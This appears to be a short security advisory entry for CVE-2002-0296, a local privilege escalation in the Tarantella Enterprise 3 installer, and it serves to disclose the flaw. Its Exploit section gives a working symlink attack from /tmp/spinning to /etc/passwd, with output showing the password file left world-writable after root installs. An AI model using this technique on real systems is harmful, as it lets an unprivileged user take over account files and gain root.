Another local root during installation of Tarantella Enterprise 3
CVE ID(s):
CVE-2002-0296
Notified: 2002-01-14
Description:
Tarantella, a supplier of Internet infrastructure software, has released Tarantella Enterprise 3, version 3.2, positioned as a managed, secure application access product that provides authorization, authentication, and accountability for enterprise systems. The software supplies integrated, managed, and secure access to server-based applications through a Web browser. This iteration of the Tarantella software focuses on security, performance, and network optimization while allowing fast and simple integration with existing corporate infrastructures.
Exploit:
Exploit There is no race condition here, just create the link. [lwc@misery] ln -s /etc/passwd /tmp/spinning Wait until root is done installing... [lwc@misery] ls -l /etc/passwd - -rwxrwxrwx 1 root root 1094 Feb 18 22:39 /etc/passwd
Notes:
13949